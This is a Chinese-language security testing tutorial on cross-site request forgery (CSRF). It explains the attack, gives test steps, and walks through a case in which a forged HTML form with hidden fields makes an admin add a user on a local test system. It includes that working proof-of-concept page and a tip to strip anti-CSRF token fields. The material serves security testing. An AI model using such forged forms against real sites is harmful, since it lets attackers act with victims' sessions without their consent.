CSRF介绍
CSRF(Cross Site Request Foregy),中文名称之为跨站请求伪造。其攻击的原理是:攻击者利用实际用户的Cookies信息,以用户的身份,通过第三方网站,向被攻击网站发送非法请求(这一系列操作均由受害者在不知情的情况下完成的),从而绕过特定的权限进行操作数据、恶意攻击。
受害对象包含实际用户和被攻击网站。
CSRF攻击流程
测试思路
- 使用正常用户登录被测系统,获取涉及个人信息修改、敏感数据操作的请求,记录请求URL和参数;
- 编写HTML页面,或通过Burpsuite工具,生成相应的页面(需要注意页面内容,部分请求体中也存在防CSRF攻击的字段,如:token、anti-CSRF等,需要甄别去除)。
- 使用1步骤中的浏览器,打开HTML页面,点击发送请求按钮。
案例
CSRF攻击新增用户
- 测试背景
新增用户功能,属于管理员权限范畴,普通用户无此权限。此次,通过伪造一个新增用户的html页面,模拟管理员被诱导访问第三方网站,点击按钮,触发新增用户请求。 - 测试流程
a. 获取新增用户的请求url和参数;
b. 编写HTML页面,url和参数填入其中;(该系统的数据库字段有点小bug,别介意(~ ̄▽ ̄)~)
<html>
<title>CSRF Inject Page</title>
<div align="center">
<form action="http://127.0.0.1:8080/gz/AdminServlet?method=addm&id=" method="POST">
<input type="hidden" name="username" value="user8888" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="tel" value="生产部" />
<input type="hidden" name="realname" value="csrf用户" />
<input type="hidden" name="sex" value="男" />
<input type="hidden" name="age" value="总经理" />
<input type="hidden" name="address" value="13112345996" />
<input type="submit" value="Click me!">
</form>
</div>
</html>
c. 使用管理员登录系统,再新开标签页,打开HTML页面,点击按钮发起请求。
预期结果:状态码返回401鉴权失败,并给出错误提示。
实际结果:状态码返回200,提示操作成功。
d. 去原系统界面任意操作,查看会话情况。
预期结果:会话失效,重定向至登录界面,本次token及sessionID被销毁(若有)。
实际结果:会话仍有效,未退出至登录页面。
e. 去数据库查看用户是否添加成功(因后台数据处理问题导致乱码,不在此测试范围内)。
预期结果:数据库用户表未被新增数据,且未影响服务器、数据库等其他系统网元的正常运行。
实际结果:数据库用户表新增一条数据。
综上结果,该项目的新增用户功能没有做anti-CSRF,攻击成功。